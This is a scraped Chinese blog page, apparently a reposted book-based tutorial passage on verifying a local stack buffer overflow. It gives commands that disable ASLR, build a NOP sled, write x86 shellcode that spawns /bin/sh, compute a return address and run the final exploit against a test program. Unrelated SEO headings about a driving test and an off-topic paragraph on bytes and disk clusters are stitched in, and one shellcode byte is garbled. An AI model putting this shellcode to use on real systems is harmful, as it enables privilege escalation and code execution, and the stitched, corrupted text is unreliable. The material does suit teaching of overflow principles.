b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

Info:本篇主要是为了验证本地缓冲区溢出,这是理解缓冲区溢(3)

电脑杂谈  发布时间:2019-04-28 17:15:19  来源:网络整理

这里需要注意的是我们需要关闭ASLR,这是一种栈随机保护机制,先执行这条命令,在执行./get_sp才能获得真正的esp值,关闭ASLR命令如下(重启操作系统需要再次执行,此服务开机自启动):

        #echo "0" > /proc/sys/kernel/randomize_va_space

一定程度上能防范缓冲区溢出攻击的措施有哪些_史上 溢出攻击 案例_堆栈溢出 攻击

我们已经知道了esp的值为0xffff418,溢出个数为408,下面我们将使用perl在命令行操作,我们将408字符的一半也就是200个字节用NOP填充

perl -e 'print "\x90" x 200';

我们将shellcode打印到一个二进制文件中

#perl -e 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\xlf"
    "\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
    "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
    "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";' > sc

我们计算shellcode的大小

    #wc -c sc
    55 sc

这里计算出为55,记下这个值

接下来需要计算的是shellcode的返回地址,当前的ESP值为0xbffff418,攻击缓冲区的长度为408个字节,其中前200个字节为NOP,我们这里为了达到NOP中部(为了能够顺利的进入shellcode),必须在当前栈地址之前300字节处运行,将当前ESP减去0x300,得到:

0xbffff418-0x300=bffff118;

史上 溢出攻击 案例_堆栈溢出 攻击_一定程度上能防范缓冲区溢出攻击的措施有哪些

第一个字节称为“高位字节”,第二个字节称为“低位字节”。文件的大小用字节表示,但在存储的时候却是以簇为分配单元,即一个簇中不能包含两个文件的内容,也就是说无论一个文件有多小,哪怕它只有一个字节,一旦它占用了一个簇,那么别的文件就不能再写入这个簇了,也就是说这个簇中其它还未用上的空间就被浪费了。大多数计算机以2的整数幂个比特来作为块处理内存,可寻址的最小内存块称为字节,存储的基本单位称为“字节(byte)”,存储的基本单元称为“字(word)”,它通常由几个字节组成。

perl -e 'print "\x18\xf1\xff\xbf" x 38'

这里的38是通过 (408 - 200 -55)/4=38 得到的。408代表的是溢出所需位数,200代表NOP个数,55代表shellcode转换成二进制文件后的长度。

接下来我们就可以吧多个命令拼接起来形成最终的测试代码

#./meet mr `perl -e 'print "\x90" x 200';``cat sc``perl -e 'print "\x18\xf1\xff\xbf" x 38';`

最终结果如下:

这里写图片描述

最终我们验证了本地缓冲区溢出漏洞攻击。(你可以将当前用户切换为普通用户,在执行最终代码,也能达到效果。)

以上简单的介绍了一下如何验证本地缓冲区溢出漏洞攻击,大家也知道,本地的也只是用来学习学习溢出的原理,本篇文章也是本人买的一本安全书籍所看的内容,觉得对自己理解缓冲区溢出漏洞攻击有一个引子作用,就把它作为一片博客来说了说,与大家分享分享,让我们喜欢网络安全的朋友来看看。其实这些都是最简单的内容,但从未知道已知总是有一个过程存在,这个过程或是心酸或是开心只有自己知道,我们能收获到什么也只有自己知道~~

好啦~做不好心灵鸡汤,那就到这儿了吧~~~~~~~~~~~·(大神看到不要打我,我还要写作业~)

思考,创造,存在诠释,改变。一定程度上能防范缓冲区溢出攻击的措施有哪些


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-94771-3.html

相关阅读
    发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

    • 雷松
      雷松

      很多大官有把柄给捏着的

    每日福利
    热点图片
    拼命载入中...